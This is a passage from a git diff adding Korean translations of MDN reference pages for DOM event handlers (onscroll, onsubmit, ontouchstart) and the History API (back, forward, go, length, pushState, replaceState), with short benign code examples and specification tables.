+<p>오직 하나의 <code>onscroll</code> 이벤트만 하나의 객체에 할당 할 수 있습니다.  <a href="https://developer.mozilla.org/ko/docs/Web/API/EventTarget/addEventListener" title="EventTarget의 addEventListener() 메서드는 지정한 이벤트가 대상에 전달될 때마다 호출할 함수를 설정합니다."><code>EventTarget.addEventListener()</code></a> 를 사용하여  <code><a href="https://developer.mozilla.org/ko/docs/Web/Reference/Events/scroll" rel="nofollow" title="/ko/docs/Web/Reference/Events/scroll">scroll</a></code> 이벤트를 정의 할 수 있습니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 예제는  {{HtmlElement("textarea")}}에 발생한 스크롤 이벤트 결과를 출력해 줍니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;textarea&gt;1 2 3 4 5 6 7 8 9&lt;/textarea&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">textarea {
+ width: 4rem;
+ height: 8rem;
+ font-size: 3rem;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const textarea = document.querySelector('textarea');
+const log = document.getElementById('log');
+
+textarea.onscroll = logScroll;
+
+function logScroll(e) {
+ log.textContent = `Scroll position: ${e.target.scrollTop}`;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example", 700, 200)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','#handler-onscroll','onscroll')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM3 Events", "#event-type-scroll", "onscroll")}}</td>
+ <td>{{Spec2("DOM3 Events")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.GlobalEventHandlers.onscroll")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document/scroll_event">Document: <code>scroll</code> event</a></li>
+ <li><a href="/en-US/docs/Web/API/Element/scroll_event">Element: <code>scroll</code> event</a></li>
+</ul>
diff --git a/files/ko/web/api/globaleventhandlers/onsubmit/index.html b/files/ko/web/api/globaleventhandlers/onsubmit/index.html
new file mode 100644
index 0000000000..e8e72ac2e0
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/onsubmit/index.html
@@ -0,0 +1,70 @@
+---
+title: GlobalEventHandlers.onsubmit
+slug: Web/API/GlobalEventHandlers/onsubmit
+tags:
+ - API
+ - HTML DOM
+ - 레퍼런스
+ - 속성
+translation_of: Web/API/GlobalEventHandlers/onsubmit
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p> </p>
+
+<p>현재 창에서 폼을 제출하는 이벤트를 다루는 이벤트 핸들러</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="eval">window.onsubmit = <em>funcRef</em>;
+</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<ul>
+ <li><code>funcRef</code> 는 함수를 참조하는 변수이다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="eval">&lt;html&gt;
+&lt;script&gt;
+function reg() {
+ window.captureEvents(Event.SUBMIT);
+ window.onsubmit = hit;
+}
+
+function hit() {
+ console.log('hit');
+}
+&lt;/script&gt;
+
+&lt;body onload="reg();"&gt;
+&lt;form&gt;
+ &lt;input type="submit" value="submit" /&gt;
+&lt;/form&gt;
+&lt;div id="d"&gt; &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="알아두기">알아두기</h2>
+
+<p>제출 이벤트는 사용자가 폼 내부에 있는 제출 버튼(<code>&lt;input type="submit"/&gt;</code>)을 눌렀을 때 발생한다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onsubmit','onsubmit')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/globaleventhandlers/ontouchstart/index.html b/files/ko/web/api/globaleventhandlers/ontouchstart/index.html
new file mode 100644
index 0000000000..0017375993
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/ontouchstart/index.html
@@ -0,0 +1,128 @@
+---
+title: GlobalEventHandlers.ontouchstart
+slug: Web/API/GlobalEventHandlers/ontouchstart
+translation_of: Web/API/GlobalEventHandlers/ontouchstart
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>{{event("touchstart")}} 이벤트를 위한 {{domxref("GlobalEventHandlers","global event handler")}}</p>
+
+<p>{{SeeCompatTable}}</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 요소는 아직 표준화 되지 <em>않은</em> 기술입니다. It is specified in the {{SpecName('Touch Events 2')}} {{Spec2('Touch Events 2')}} 명세에서 작성된 기술이며 {{SpecName('Touch Events')}} {{Spec2('Touch Events')}}에는 포함되어 있지 않습니다. 따라서 아직 대부분의 브라우저에서는 사용되지 않는 요소입니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="eval">var startHandler = someElement.ontouchstart;
+</pre>
+
+<h3 id="Return_Value" name="Return_Value">반환 값</h3>
+
+<dl>
+ <dt><code>startHandler</code></dt>
+ <dd><code>someElement</code>를 위한 <em>touchstart</em> 이벤트 핸들러</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제는 HTML 요소에 <em>touchstart</em> e이벤트 핸들러를 등록하기 위한 두 방법을 보여주고 있습니다.</p>
+
+<pre class="brush: js">&lt;html&gt;
+&lt;script&gt;
+function startTouch(ev) {
+ // 이벤트 내부
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.ontouchstart = startTouch;
+}
+&lt;/script&gt;
+&lt;body onload="init();"&gt;
+&lt;div id="target1"&gt; 터치해주세요... &lt;/div&gt;
+&lt;div id="target2" ontouchstart="startTouch(event)"&gt; 터치해주세요... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">현황</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Touch Events 2','#widl-GlobalEventHandlers-ontouchstart')}}</td>
+ <td>{{Spec2('Touch Events 2')}}</td>
+ <td>Non-stable version.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{ event("touchstart") }}</li>
+</ul>
diff --git a/files/ko/web/api/history/back/index.html b/files/ko/web/api/history/back/index.html
new file mode 100644
index 0000000000..2b5ee8475a
--- /dev/null
+++ b/files/ko/web/api/history/back/index.html
@@ -0,0 +1,70 @@
+---
+title: History.back()
+slug: Web/API/History/back
+tags:
+ - API
+ - HTML DOM
+ - History
+ - History API
+ - Method
+ - Reference
+ - Web
+translation_of: Web/API/History/back
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>History.back()</code></strong> 메서드는 브라우저가 세션 기록의 바로 뒤 페이지로 이동하도록 지시합니다.</span> {{domxref("History.go", "history.go(-1)")}}와 같습니다. 이전 페이지가 없는 경우 아무것도 하지 않습니다.</p>
+
+<p>이 메서드는 비동기적입니다. {{event("popstate")}} 이벤트 처리기를 통해 탐색 완료 시점을 알 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">history.back()</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 클릭했을 때 뒤로 가는 버튼을 생성합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button id="go-back"&gt;뒤로 가기!&lt;/button&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">document.getElementById('go-back').addEventListener('click', () =&gt; {
+ window.history.back();
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "history.html#history", "History.back()")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "browsers.html#dom-history-back", "History.back()")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History.back")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("History")}}</li>
+</ul>
diff --git a/files/ko/web/api/history/forward/index.html b/files/ko/web/api/history/forward/index.html
new file mode 100644
index 0000000000..52ab61f70b
--- /dev/null
+++ b/files/ko/web/api/history/forward/index.html
@@ -0,0 +1,69 @@
+---
+title: History.forward()
+slug: Web/API/History/forward
+tags:
+ - API
+ - HTML DOM
+ - History
+ - History API
+ - Method
+ - Reference
+translation_of: Web/API/History/forward
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>History.forward()</code></strong> 메서드는 브라우저가 세션 기록의 바로 앞 페이지로 이동하도록 지시합니다.</span> {{domxref("History.go", "history.go(1)")}}과 같습니다. 다음 페이지가 없는 경우 아무것도 하지 않습니다.</p>
+
+<p>이 메서드는 비동기적입니다. {{event("popstate")}} 이벤트 처리기를 통해 탐색 완료 시점을 알 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">history.forward()</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 클릭했을 때 앞으로 가는 버튼을 생성합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button id='go-forward'&gt;앞으로 가기!&lt;/button&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'go-forward'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="parameter token">e</span> <span class="operator token">=&gt;</span> <span class="punctuation token">{</span>
+ window<span class="punctuation token">.</span>history<span class="punctuation token">.forward</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span></code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "browsers.html#history", "History")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "browsers.html#history", "History")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History.forward")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("History")}}</li>
+</ul>
diff --git a/files/ko/web/api/history/go/index.html b/files/ko/web/api/history/go/index.html
new file mode 100644
index 0000000000..3f90100ea8
--- /dev/null
+++ b/files/ko/web/api/history/go/index.html
@@ -0,0 +1,82 @@
+---
+title: History.go()
+slug: Web/API/History/go
+translation_of: Web/API/History/go
+---
+<div>{{APIRef("History API")}}</div>
+
+<p><strong><code>History.go()</code></strong> 메서드는 history 세션에서 특정한 페이지를 로딩합니다. 인자로 전달하는 파라미터 값에 따라 history를 통해서 페이지를 앞 뒤로 이동할 수 있습니다. </p>
+
+<p>이 메서드는 {{glossary("asynchronous")}}(비동기)로 동작합니다. 페이지 앞, 뒤 이동이 언제 이뤄지는지 알려면 {{event("popstate")}} event에 대한 listener를 등록합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">history.go([<em>delta</em>])</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>delta</code> {{optional_inline}}</dt>
+ <dd>현재 페이지에서 상대적으로 이동하려고 하는 history의 위치 값. 음수 값은 뒤로 이동하고, 양수 값은 앞으로 이동합니다. 예를 들면 <code>history.go(2)</code> 는 현재 페이지에서 2 페이지 앞으로 이동하고, <code>history.go(-2)</code> 는 현재 페이지에서 2 페이지 뒤로 이동합니다. 만약 값을 전달하지 않거나, <code>delta</code> 값을 0으로 전달한다면, 이는 <code>location.reload()</code>를 동작시켰을 때와 동일한 결과를 보입니다. (새로고침)</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>한 페이지 뒤로 가기 ({{domxref("History.back", "back()")}}를 호출한 것과 동일):</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre>
+
+<p>{{domxref("History.forward", "forward()")}}와 동일한 한 페이지 앞으로 가기:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre>
+
+<p>두 페이지 앞으로 가기:</p>
+
+<pre class="brush: js">history.go(2);</pre>
+
+<p>두 페이지 뒤로 가기:</p>
+
+<pre class="brush: js">history.go(-2);</pre>
+
+<p>마지막으로, 아래 구문들은 현재 페이지를 새로고침 합니다:</p>
+
+<pre class="brush: js">history.go();
+history.go(0);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "history.html#dom-history-go", "History.go()")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "browsers.html#dom-history-go", "History.go()")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History.go")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("History")}}</li>
+ <li>{{DOMxRef("History.back","back()")}}</li>
+ <li>{{DOMxRef("History.forward","forward()")}}</li>
+ <li>{{event("popstate")}} event</li>
+ <li><a href="/en-US/docs/Web/API/History_API/Working_with_the_History_API">Working with the History API</a></li>
+</ul>
diff --git a/files/ko/web/api/history/index.html b/files/ko/web/api/history/index.html
new file mode 100644
index 0000000000..37fabc2c98
--- /dev/null
+++ b/files/ko/web/api/history/index.html
@@ -0,0 +1,85 @@
+---
+title: History
+slug: Web/API/History
+tags:
+ - API
+ - HTML DOM
+ - History API
+ - Interface
+ - Reference
+ - Web
+translation_of: Web/API/History
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>History</code></strong> 인터페이스는 브라우저의 세션 기록, 즉 현재 페이지를 불러온 탭 또는 프레임의 방문 기록을 조작할 수 있는 방법을 제공합니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p><em><code>History</code> 인터페이스는 어떤 속성도 상속하지 않습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("History.length")}} {{readOnlyInline}}</dt>
+ <dd>현재 페이지를 포함해, 세션 기록의 길이를 나타내는 정수를 반환합니다.</dd>
+ <dt>{{domxref("History.scrollRestoration")}}</dt>
+ <dd>기록 탐색 시 스크롤 위치 복원 여부를 명시할 수 있습니다. 가능한 값은 <code>auto</code>와 <code>manual</code>입니다.</dd>
+ <dt>{{domxref("History.state")}} {{readOnlyInline}}</dt>
+ <dd>기록 스택 최상단의 스테이트를 나타내는 값을 반환합니다. {{event("popstate")}} 이벤트를 기다리지 않고 현재 기록의 스테이트를 볼 수 있는 방법입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em><code>History</code> 인터페이스는 어떤 메서드도 상속하지 않습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("History.back()")}}</dt>
+ <dd>세션 기록의 바로 뒤 페이지로 이동하는 비동기 메서드입니다. 브라우저의 <kbd>뒤로 가기</kbd> 버튼을 눌렀을 때, 그리고 <code>history.go(-1)</code>을 사용했을 때와 같습니다.
+ <div class="note"><strong>참고:</strong> 세션 기록의 제일 첫 번째 페이지에서 호출해도 오류는 발생하지 않습니다.</div>
+ </dd>
+ <dt>{{domxref("History.forward()")}}</dt>
+ <dd>세션 기록의 바로 앞 페이지로 이동하는 비동기 메서드입니다. 브라우저의 <kbd>앞으로 가기</kbd> 버튼을 눌렀을 때, 그리고 <code>history.go(1)</code>을 사용했을 때와 같습니다.
+ <div class="note"><strong>참고:</strong> 세션 기록의 제일 마지막 페이지에서 호출해도 오류는 발생하지 않습니다.</div>
+ </dd>
+ <dt>{{domxref("History.go()")}}</dt>
+ <dd>현재 페이지를 기준으로, 상대적인 위치에 존재하는 세션 기록 내 페이지로 이동하는 비동기 메서드입니다. 예를 들어, 매개변수로 <code>-1</code>을 제공하면 바로 뒤로, <code>1</code>을 제공하면 바로 앞으로 이동합니다. 세션 기록의 범위를 벗어나는 값을 제공하면 아무 일도 일어나지 않습니다. 매개변수를 제공하지 않거나, <code>0</code>을 제공하면 현재 페이지를 다시 불러옵니다.</dd>
+ <dt>{{domxref("History.pushState()")}}</dt>
+ <dd>주어진 데이터를 지정한 제목(제공한 경우 URL도)으로 세션 기록 스택에 넣습니다. 데이터는 DOM이 불투명(opaque)하게 취급하므로, 직렬화 가능한 모든 JavaScript 객체를 사용할 수 있습니다. 참고로, Safari를 제외한 모든 브라우저는 <code>title</code> 매개변수를 무시합니다.</dd>
+ <dt>{{domxref("History.replaceState()")}}</dt>
+ <dd>세션 기록 스택의 제일 최근 항목을 주어진 데이터, 지정한 제목 및 URL로 대체합니다. 데이터는 DOM이 불투명(opaque)하게 취급하므로, 직렬화 가능한 모든 JavaScript 객체를 사용할 수 있습니다. 참고로, Safari를 제외한 모든 브라우저는 <code>title</code> 매개변수를 무시합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "browsers.html#the-history-interface", "History")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Adds the <code>scrollRestoration</code> attribute.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "browsers.html#the-history-interface", "History")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code>History</code> 객체 참조를 반환하는 {{domxref("Window.history")}} 속성.</li>
+</ul>
diff --git a/files/ko/web/api/history/length/index.html b/files/ko/web/api/history/length/index.html
new file mode 100644
index 0000000000..0e26279b5c
--- /dev/null
+++ b/files/ko/web/api/history/length/index.html
@@ -0,0 +1,50 @@
+---
+title: History.length
+slug: Web/API/History/length
+tags:
+ - API
+ - HTML
+ - HTML DOM
+ - History API
+ - Property
+ - Read-only
+ - Reference
+translation_of: Web/API/History/length
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><span class="seoSummary"><code><strong>History.length</strong></code> 읽기 전용 속성은 현재 페이지를 포함해, 세션 기록의 길이를 나타내는 정수를 반환합니다.</span> 예를 들어, 새로운 탭에 막 불러온 페이지의 세션 기록 길이는 <code>1</code>입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "history.html#dom-history-length", "History.length")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "browsers.html#dom-history-length", "History.length")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History.length")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("History")}} 인터페이스</li>
+</ul>
diff --git a/files/ko/web/api/history/pushstate/index.html b/files/ko/web/api/history/pushstate/index.html
new file mode 100644
index 0000000000..a4e7af47df
--- /dev/null
+++ b/files/ko/web/api/history/pushstate/index.html
@@ -0,0 +1,84 @@
+---
+title: History.pushState()
+slug: Web/API/History/pushState
+tags:
+ - API
+ - DOM
+ - History
+ - History API
+ - Method
+ - Reference
+ - Web
+translation_of: Web/API/History/pushState
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><a href="/en-US/docs/Web/HTML">HTML</a> 문서에서, <strong><code>history.pushState()</code></strong> 메서드는 브라우저의 세션 기록 스택에 상태를 추가합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">history.pushState(<var>state</var>, <var>title</var>[, <var>url</var>]);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>state</code></dt>
+ <dd>새로운 세션 기록 항목에 연결할 상태 객체. 사용자가 새로운 상태로 이동할 때마다 {{event("popstate")}} 이벤트가 발생하는데, 이 때 이벤트 객체의 <code>state</code> 속성에 해당 상태의 복제본이 담겨 있습니다.</dd>
+ <dd>상태 객체는 직렬화 가능한 객체라면 모두 가능합니다.</dd>
+ <dt><code>title</code></dt>
+ <dd><a href="https://github.com/whatwg/html/issues/2174">지금은 대부분의 브라우저가 <code>title</code> 매개변수를 무시하지만</a>, 미래에 쓰일 수도 있습니다. 빈 문자열을 지정하면 나중의 변경사항에도 안전할 것입니다. 아니면, 상태에 대한 짧은 제목을 제공할 수도 있습니다.</dd>
+ <dt><code>url</code> {{optional_inline}}</dt>
+ <dd>새로운 세션 기록 항목의 URL. <code>pushState()</code> 호출 이후에 브라우저는 주어진 URL로 탐색하지 않습니다. 그러나 이후, 예컨대 브라우저를 재시작할 경우 탐색을 시도할 수도 있습니다. 상대 URL을 지정할 수 있으며, 이 땐 현재 URL을 기준으로 사용합니다. 새로운 URL은 현재 URL과 같은 {{glossary("origin", "출처")}}를 가져야 하며, 그렇지 않을 경우 예외가 발생합니다. 지정하지 않은 경우 문서의 현재 URL을 사용합니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>어떤 면에선 <code>pushState()</code>와 <code>window.location = "#foo"</code>가 비슷합니다. 둘 다 새로운 세션 기록 항목을 생성하고 활성화하기 때문입니다. 그러나 <code>pushState()</code>에는 몇 가지 장점이 있습니다.</p>
+
+<ul>
+ <li>새로운 URL은 같은 출처에 한해서 아무 URL이나 가능합니다. 반면 {{domxref("window.location")}} 설정은 해시만 수정해야 같은 문서에 머무릅니다.</li>
+ <li>원할 경우 URL을 바꾸지 않을 수도 있습니다. 그러나 <code>window.location = "#foo"</code>는 현재 해시가 <code>#foo</code>가 아닐 때만 새로운 기록 항목을 생성합니다.</li>
+ <li><code>pushState()</code>는 임의의 데이터를 세션 기록 항목에 연결할 수 있습니다. 해시 기반 방식에서는 필요한 모든 데이터를 인코딩 해 짧은 문자열로 만들어야 합니다.</li>
+</ul>
+
+<p>다만 <code>pushState()</code>는 이전 URL과 신규 URL의 해시가 다르더라도 절대 {{event("hashchange")}} 이벤트를 유발하지 않습니다.</p>
+
+<p>HTML 외의 문서에서는 이름공간 URI가 <code>null</code>인 요소를 생성합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 주어진 상태, 제목, URL을 사용해 새로운 세션 기록을 생성합니다.</p>
+
+<pre class="brush: js">const state = { 'page_id': 1, 'user_id': 5 }
+const title = ''
+const url = 'hello-world.html'
+
+history.pushState(state, title, url)</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "browsers.html#dom-history-pushstate", "History.pushState()")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "browsers.html#dom-history-pushstate", "History.pushState()")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History.pushState")}}</p>
diff --git a/files/ko/web/api/history/replacestate/index.html b/files/ko/web/api/history/replacestate/index.html
new file mode 100644
index 0000000000..3b9f92ba8d
--- /dev/null
+++ b/files/ko/web/api/history/replacestate/index.html
@@ -0,0 +1,68 @@
+---
+title: History.replaceState()
+slug: Web/API/History/replaceState
+translation_of: Web/API/History/replaceState
+---
+<div>{{APIRef("History API")}}</div>
+
+<div></div>
+
+<p><strong><code>History.replaceState()</code></strong> 메서드는 현재 history를 수정해 메소드의 매개 변수에 전달 된 <code>stateObj</code>, <code>title</code>, <code>URL</code>로 대체합니다. 이 방법은 특히 일부 유저의 동작에 대한 응답으로 history 객체의 상태나 현재 history의 URL을 업데이트하려는 경우에 유용합니다. </p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">history.replaceState(<em>stateObj</em>, <em>title</em>[, <em>url</em>])</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>stateObj</code></dt>
+ <dd>state 객체는 <code>replaceState</code>에 전달된 history 항목과 연관된 JavaScript 객체입니다. state object는 <code>null</code>일 수 있습니다.</dd>
+ <dt><code>title</code></dt>
+ <dd>나중에는 사용할 수도 있지만, <a href="https://github.com/whatwg/html/issues/2174">대부분의 브라우저는 현재 이 파라미터를 무시하고 있습니다.</a> 이 부분에 빈 String을 전달하면 나중에 메소드가 변화하더라도 안전합니다. 또는, state에 짧은 title을 전달할 수도 있습니다.</dd>
+ <dt><code>url</code> {{optional_inline}}</dt>
+ <dd>history 항목의 URL 입니다. 새 URL은 현재 URL과 출처가 동일해야(same origin)합니다. 그렇지 않으면 replaceState에서 예외가 발생합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>https://www.mozilla.org/ 에서 아래 JavaScript를 실행한다고 가정합시다: </p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const </span>stateObj <span class="operator token">=</span> <span class="punctuation token">{</span> foo<span class="punctuation token">:</span> '<span class="string token">bar'</span> <span class="punctuation token">}</span><span class="punctuation token">;</span>
